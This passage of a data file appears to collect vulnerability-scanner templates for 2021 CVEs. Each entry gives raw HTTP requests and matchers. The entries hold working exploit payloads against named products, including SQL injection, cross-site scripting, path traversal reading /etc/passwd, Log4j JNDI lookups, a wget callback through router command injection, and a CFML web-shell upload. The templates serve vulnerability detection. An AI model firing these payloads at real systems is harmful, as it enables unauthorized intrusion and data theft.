charset=UTF-8\n\nuser_login='+AND+(SELECT+8149+FROM+(SELECT(SLEEP(3)))NuqO)+AND+'YvuB'='YvuB&login_pass=a\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"application/json\")","contains(body, \"User credentials are invalid.\")"],"condition":"and"}]}]},{"id":"CVE-2021-28419","info":{"name":"SEO Panel 4.8.0 - Blind SQL Injection","severity":"high"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\nCookie: _csrf={{rand_base(54,\"abc\")}};\n","POST /login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nReferer: {{BaseURL}}login.php\nCookie: _csrf={{rand_base(54,\"abc\")}};\n\nsec=login&red_referer=http%3A%2F%2F{{BaseURL}}&userName={{username}}&password={{password}}&login=\n","GET /archive.php?from_time=2021-04-25&order_col=(SELECT+7397+FROM(SELECT(SLEEP(3)))test)&order_val=DESC&report_type=website-search-reports&search_name=&sec=viewWebsiteSearchSummary&to_time=2021-04-25&website_id= HTTP/1.1\nHost: {{Hostname}}\nCookie: _csrf={{rand_base(54,\"abc\")}};\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["duration_3>=6","status_code_3 == 200","contains(body_3, \"Overall Report Summary\")"],"condition":"and"}]}]},{"id":"CVE-2021-45967","info":{"name":"Pascom CPS Server-Side Request Forgery","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/services/pluginscript/..;/..;/..;/getFavicon?host={{interactsh-url}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24510","info":{"name":"WordPress MF Gig Calendar <=1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=mf_gig_calendar&action=edit&id=\"><\" HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-44427","info":{"name":"Rosario Student Information System Unauthenticated SQL Injection","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/Side.php"],"body":"sidefunc=update&syear=111'","headers":{"Content-Type":"application/x-www-form-urlencoded; charset=utf-8"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB Execute Failed. ERROR:","unterminated quoted string"],"condition":"and"},{"type":"word","part":"header","words":["RosarioSIS="]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-3002","info":{"name":"Seo Panel 4.8.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /seo/seopanel/login.php?sec=forgot HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsec=requestpass&email=test%40test.com%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3e11&code=AAAAA&login=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["","seopanel"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-39320","info":{"name":"WordPress Under Construction <1.19 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php/\">/?page=under-construction HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["action=\"/wp-admin/admin.php/\">","under-construction"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24300","info":{"name":"WordPress WooCommerce <1.13.22 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/edit.php?post_type=wcps&page=import_layouts&keyword=\"onmouseover%3Dalert%28document.domain%29%3B%2F%2F HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["value=\"\\\"onmouseover=alert(document.domain);//\">","PickPlugins Product Slider"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24226","info":{"name":"AccessAlly <3.5.7 - Sensitive Information Leakage","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["
([A-Za-z0-9]+)<\\/span>"],"internal":true,"part":"body"},{"type":"regex","name":"username","group":1,"regex":["ion: https:\\/\\/[a-z0-9.]+\\/author\\/([a-z]+)\\/"],"internal":true,"part":"header"}]}]},{"id":"CVE-2021-20091","info":{"name":"Buffalo WSR-2533DHPL2 - Configuration File Injection","severity":"high"},"requests":[{"raw":["GET /images/..%2finfo.html HTTP/1.1\nHost: {{Hostname}}\nReferer: {{BaseURL}}/info.html\n","POST /images/..%2fapply_abstract.cgi HTTP/1.1\nHost: {{Hostname}}\nReferer: {{BaseURL}}/info.html\nContent-Type: application/x-www-form-urlencoded\n\naction=start_ping&httoken={{trimprefix(base64_decode(httoken), base64_decode(\"R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\"))}}&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=127.0.0.1%0AARC_SYS_TelnetdEnable=1&ARC_ping_status=0&TMP_Ping_Type=4\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["/Success.htm"]},{"type":"status","status":[302]}],"extractors":[{"type":"regex","name":"httoken","group":1,"regex":["base64\\,(.*?)\" border="],"internal":true}]}]},{"id":"CVE-2021-21985","info":{"name":"VMware vSphere Client (HTML5) - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/json\n\n{\"methodInput\":[{\"type\":\"ClusterComputeResource\",\"value\": null,\"serverGuid\": null}]}\n"],"matchers":[{"type":"word","part":"body","words":["{\"result\":{\"isDisconnected\":"]}]}]},{"id":"CVE-2021-45422","info":{"name":"Reprise License Manager 14.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/goform/activate_process?isv=&akey=&hostid=&count=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["value=\"\">\">)
"],"condition":"or"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-39211","info":{"name":"GLPI 9.2/<9.5.6 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ajax/telemetry.php","{{BaseURL}}/glpi/ajax/telemetry.php"],"matchers-condition":"and","matchers":[{"type":"word","words":["\"uuid\":","\"glpi\":"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-1499","info":{"name":"Cisco HyperFlex HX Data Platform - Arbitrary File Upload","severity":"medium"},"requests":[{"raw":["POST /upload HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nAccept-Encoding: gzip, deflate\nContent-Type: multipart/form-data; boundary=---------------------------253855577425106594691130420583\nOrigin: {{RootURL}}\nReferer: {{RootURL}}\n\n-----------------------------253855577425106594691130420583\nContent-Disposition: form-data; name=\"file\"; filename=\"../../../../../tmp/passwd9\"\nContent-Type: application/json\n\nMyPasswdNewData->/api/tomcat\n\n-----------------------------253855577425106594691130420583--\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["{\"result\":","\"filename:","/tmp/passwd9"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-45046","info":{"name":"Apache Log4j2 - Remote Code Injection","severity":"critical"},"requests":[{"raw":["GET /?x=${jndi:ldap://127.0.0.1#.${hostName}.{{interactsh-url}}/a} HTTP/1.1\nHost: {{Hostname}}\nAccept: ${jndi:ldap://127.0.0.1#.${hostName}.accept.{{interactsh-url}}}\nAccept-Encoding: ${jndi:ldap://127.0.0.1#.${hostName}.acceptencoding.{{interactsh-url}}}\nAccept-Language: ${jndi:ldap://127.0.0.1#.${hostName}.acceptlanguage.{{interactsh-url}}}\nAccess-Control-Request-Headers: ${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestheaders.{{interactsh-url}}}\nAccess-Control-Request-Method: ${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestmethod.{{interactsh-url}}}\nAuthentication: Basic ${jndi:ldap://127.0.0.1#.${hostName}.authenticationbasic.{{interactsh-url}}}\nAuthentication: Bearer ${jndi:ldap://127.0.0.1#.${hostName}.authenticationbearer.{{interactsh-url}}}\nCookie: ${jndi:ldap://127.0.0.1#.${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${hostName}.cookievalue.{{interactsh-url}}}\nLocation: ${jndi:ldap://127.0.0.1#.${hostName}.location.{{interactsh-url}}}\nOrigin: ${jndi:ldap://127.0.0.1#.${hostName}.origin.{{interactsh-url}}}\nReferer: ${jndi:ldap://127.0.0.1#.${hostName}.referer.{{interactsh-url}}}\nUpgrade-Insecure-Requests: ${jndi:ldap://127.0.0.1#.${hostName}.upgradeinsecurerequests.{{interactsh-url}}}\nUser-Agent: ${jndi:ldap://127.0.0.1#.${hostName}.useragent.{{interactsh-url}}}\nX-Api-Version: ${jndi:ldap://127.0.0.1#.${hostName}.xapiversion.{{interactsh-url}}}\nX-CSRF-Token: ${jndi:ldap://127.0.0.1#.${hostName}.xcsrftoken.{{interactsh-url}}}\nX-Druid-Comment: ${jndi:ldap://127.0.0.1#.${hostName}.xdruidcomment.{{interactsh-url}}}\nX-Forwarded-For: ${jndi:ldap://127.0.0.1#.${hostName}.xforwardedfor.{{interactsh-url}}}\nX-Origin: ${jndi:ldap://127.0.0.1#.${hostName}.xorigin.{{interactsh-url}}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"regex","part":"interactsh_request","regex":["\\d{3}\\.\\d{1}\\.\\d{1}\\.\\d{1}\\.([a-zA-Z0-9\\.\\-]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.\\w+"]}],"extractors":[{"type":"kval","kval":["interactsh_ip"]},{"type":"regex","group":2,"regex":["\\d{3}\\.\\d{1}\\.\\d{1}\\.\\d{1}\\.([a-zA-Z0-9\\.\\-]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.\\w+"]},{"type":"regex","group":1,"regex":["\\d{3}\\.\\d{1}\\.\\d{1}\\.\\d{1}\\.([a-zA-Z0-9\\.\\-]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.\\w+"],"part":"interactsh_request"}]}]},{"id":"CVE-2021-22911","info":{"name":"Rocket.Chat <=3.13 - NoSQL Injection","severity":"critical"},"requests":[{"raw":["POST /api/v1/method.callAnon/getPasswordPolicy HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"message\": \"{\\\"msg\\\":\\\"method\\\", \\\"method\\\": \\\"getPasswordPolicy\\\", \\\"params\\\": [{\\\"token\\\": {\\\"$regex\\\": \\\"^{{randstr}}\\\"}}] }\"}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["[error-invalid-user]","\"success\":true"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24169","info":{"name":"WordPress Advanced Order Export For WooCommerce <3.1.8 - Authenticated Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=wc-order-export&tab= HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"\")","contains(body_2, \"woo-order-export-lite\")"],"condition":"and"}]}]},{"id":"CVE-2021-20150","info":{"name":"Trendnet AC2600 TEW-827DRU - Credentials Disclosure","severity":"medium"},"requests":[{"raw":["POST /apply_sec.cgi HTTP/1.1\nHost: {{Hostname}}\n\naction=setup_wizard_cancel&html_response_page=ftpserver.asp&html_response_return_page=ftpserver.asp\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["ftp_username","ftp_password","ftp_permission","TEW-827DRU"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"password","group":1,"regex":[""],"part":"body"}]}]},{"id":"CVE-2021-21800","info":{"name":"Advantech R-SeeNet 2.4.12 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/php/ssh_form.php?hostname=%3C/title%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Ctitle%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["SSH Session "]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24435","info":{"name":"WordPress Titan Framework plugin <= 1.12.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=%27/onerror=%27alert(document.domain)%27/b=%27","{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20onerror=alert(document.domain)%20b=%27","{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20accesskey=%27x%27%20onclick=%27alert(document.domain)%27%20class=%27"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"regex","regex":["(?i)(onerror=|onclick=)['\"]?alert\\(document\\.domain\\)['\"]?","
Grumpy wizards make"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-20090","info":{"name":"Buffalo WSR-2533DHPL2 - Path Traversal","severity":"critical"},"requests":[{"raw":["GET /images/..%2finfo.html HTTP/1.1\nHost: {{Hostname}}\nReferer: {{BaseURL}}/info.html\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["URLToken(cgi_path)","pppoe","wan"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-31195","info":{"name":"Microsoft Exchange Server - Cross-Site Scripting","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\\&refurl=}}};alert(document.domain)//"],"matchers-condition":"and","matchers":[{"type":"word","words":["alert(document.domain)//&et=ServerError","mail/bootr.ashx"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2021-40970","info":{"name":"Spotweb <= 1.5.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /install.php?page=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsettingsform[username]=pdteam'+onclick='alert(document.domain)\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["onclick='alert(document.domain)","Spotweb"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25055","info":{"name":"WordPress FeedWordPress < 2022.0123 - Authenticated Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=%22%3E%3Cimg+src%3D1+onerror%3Dalert%28document.domain%29%3E HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21975","info":{"name":"vRealize Operations Manager API - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["POST /casa/nodes/thumbprints HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json;charset=UTF-8\n\n[\"127.0.0.1:443/ui/\"]\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["vRealize Operations Manager","thumbprint","address"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21307","info":{"name":"Lucee Admin - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /lucee/admin/imgProcess.cfm?file=/whatever HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nimgSrc=a\n","POST /lucee/admin/imgProcess.cfm?file=/../../../context/{{randstr}}.cfm HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nimgSrc=\n\n\n\n\n\n\n\n
Command:value=\"#form.cmd#\">
Options: value=\"#form.opts#\">
Timeout: value=\"#form.timeout#\"\n value=\"5\">
\n\n\n\n\n\n\n\n
\n","POST /lucee/{{randstr}}.cfm HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nContent-Type: application/x-www-form-urlencoded\n\ncmd=id&opts=&timeout=5\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["uid=","gid=","groups="],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["(u|g)id=.*"]}]}]},{"id":"CVE-2021-40438","info":{"name":"Apache <= 2.4.48 - Mod_Proxy SSRF","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/?unix:{{repeat(\"A\", 7701)}}|http://{{interactsh-url}}"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","words":["Interactsh Server"]},{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2021-41649","info":{"name":"PuneethReddyHC Online Shopping System homeaction.php SQL Injection","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/homeaction.php"],"body":"cat_id=4'&get_seleted_Category=1","matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["Warning: mysqli_num_rows() expects parameter 1 to be","xdebug-error xe-warning"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-22145","info":{"name":"Elasticsearch 7.10.0-7.13.3 - Information Disclosure","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/_bulk"],"body":"@\n","headers":{"Content-Type":"application/json"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["root_cause","truncated","reason"],"condition":"and"},{"type":"status","status":[400]}]}]},{"id":"CVE-2021-28164","info":{"name":"Eclipse Jetty - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/%2e/WEB-INF/web.xml"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","java.sun.com"],"condition":"and"},{"type":"word","part":"header","words":["application/xml"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-41432","info":{"name":"FlatPress 1.2.1 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykGJmx9vKsePrMkVp\n\n------WebKitFormBoundarykGJmx9vKsePrMkVp\nContent-Disposition: form-data; name=\"user\"\n\n{{username}}\n------WebKitFormBoundarykGJmx9vKsePrMkVp\nContent-Disposition: form-data; name=\"pass\"\n\n{{password}}\n------WebKitFormBoundarykGJmx9vKsePrMkVp\nContent-Disposition: form-data; name=\"submit\"\n\nLogin\n------WebKitFormBoundarykGJmx9vKsePrMkVp--\n","GET /admin.php?p=entry&action=write HTTP/1.1\nHost: {{Hostname}}\n","POST /admin.php?p=entry&action=write HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_wpnonce={{nonce}}&_wp_http_referer=%2Fadmin.php%3Fp%3Dentry%26action%3Dwrite&subject=abcd×tamp=&entry=&attachselect=--&imageselect=--&content=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&save=Publish\n","GET /index.php/2022/10 HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_4, '
')","contains(body_4, 'FlatPress')","contains(header_4, 'text/html')","status_code_4 == 200"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["name=\"_wpnonce\" value=\"([0-9a-z]+)\" />"],"internal":true,"part":"body"}]}]},{"id":"CVE-2021-39433","info":{"name":"BIQS IT Biqs-drive v1.83 Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/download/index.php?file=../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21402","info":{"name":"Jellyfin <10.7.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/","{{BaseURL}}/Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["Content-Type: application/octet-stream"]},{"type":"regex","part":"body","regex":["\\[(font|extension|file)s\\]"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-27314","info":{"name":"Doctor Appointment System 1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /admin/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=test'+AND+(SELECT+6133+FROM+(SELECT(SLEEP(6)))nOqb)+AND+'RiUU'='RiUU&password=test&submit=\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(body, \"Doctor Appoinment System\")"],"condition":"and"}]}]},{"id":"CVE-2021-46073","info":{"name":"Vehicle Service Management System 1.0 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /vehicle_service/classes/Login.php?f=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername={{username}}&password={{password}}\n","POST /vehicle_service/classes/Users.php?f=save HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nfirstname=test1%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&lastname=test&username=test&password=test&type=1\n","GET /vehicle_service/admin/?page=user/list HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(header_3, 'text/html')","status_code_3 == 200","contains(body_3, \" Test\")"],"condition":"and"}]}]},{"id":"CVE-2021-40969","info":{"name":"Spotweb <= 1.5.1 - Cross Site Scripting (Reflected)","severity":"medium"},"requests":[{"raw":["POST /install.php?page=4 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsettingsform[firstname]=pdteam'+onclick='alert(document.domain)\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["onclick='alert(document.domain)","Spotweb"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-37538","info":{"name":"PrestaShop SmartBlog <4.0.6- SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/module/smartblog/archive?month=1&year=1&day=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(SELECT%20MD5(55555)),NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20-"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["c5fe25896e49ddfe996db7508cf00534"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21805","info":{"name":"Advantech R-SeeNet 2.4.12 - OS Command Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/php/ping.php?hostname=|dir"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Ping |dir","bottom.php"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-43287","info":{"name":"Pre-Auth Takeover of Build Pipelines in GoCD","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24145","info":{"name":"WordPress Modern Events Calendar Lite <5.16.5 - Authenticated Arbitrary File Upload","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","POST /wp-admin/admin.php?page=MEC-ix&tab=MEC-import HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nContent-Type: multipart/form-data; boundary=---------------------------132370916641787807752589698875\n\n-----------------------------132370916641787807752589698875\nContent-Disposition: form-data; name=\"feed\"; filename=\"{{randstr}}.php\"\nContent-Type: text/csv\n\n\n\n-----------------------------132370916641787807752589698875\nContent-Disposition: form-data; name=\"mec-ix-action\"\n\nimport-start-bookings\n-----------------------------132370916641787807752589698875--\n","GET /wp-content/uploads/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(header_3, \"text/html\")","status_code_3 == 200","contains(body_3, 'CVE-2021-24145')"],"condition":"and"}]}]},{"id":"CVE-2021-26812","info":{"name":"Moodle Jitsi Meet 2.7-2.8.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/mod/jitsi/sessionpriv.php?avatar=https%3A%2F%2F{{Hostname}}%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.domain)%3b//&ses=test_user&t=1"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["alert(document.domain);"]},{"type":"word","part":"header","words":["MoodleSession"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-31755","info":{"name":"Tenda Router AC11 - Remote Command Injection","severity":"critical"},"requests":[{"raw":["POST /goform/setmac HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}/index.htmlr\nContent-Type: application/x-www-form-urlencoded\n\nmodule1=wifiBasicCfg&doubleBandUnityEnable=false&wifiTotalEn=true&wifiEn=true&wifiSSID=Tenda_B0E040&mac=wget+http://{{interactsh-url}}&wifiSecurityMode=WPAWPA2%2FAES&wifiPwd=Password12345&wifiHideSSID=false&wifiEn_5G=true&wifiSSID_5G=Tenda_B0E040_5G&wifiSecurityMode_5G=WPAWPA2%2FAES&wifiPwd_5G=Password12345&wifiHideSSID_5G=false&module2=wifiGuest&guestEn=false&guestEn_5G=false&guestSSID=Tenda_VIP&guestSSID_5G=Tenda_VIP_5G&guestPwd=&guestPwd_5G=&guestValidTime=8&guestShareSpeed=0&module3=wifiPower&wifiPower=high&wifiPower_5G=high&module5=wifiAdvCfg&wifiMode=bgn&wifiChannel=auto&wifiBandwidth=auto&wifiMode_5G=ac&wifiChannel_5G=auto&wifiBandwidth_5G=auto&wifiAntijamEn=false&module6=wifiBeamforming&wifiBeaformingEn=true&module7=wifiWPS&wpsEn=true&wanType=static\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2021-24488","info":{"name":"WordPress Post Grid <2.1.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/edit.php?post_type=post_grid&page=import_layouts&keyword=\"onmouseover=alert(document.domain)// HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["value=\"\\\"onmouseover=alert(document.domain)/\">","Post Grid"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24340","info":{"name":"WordPress Statistics 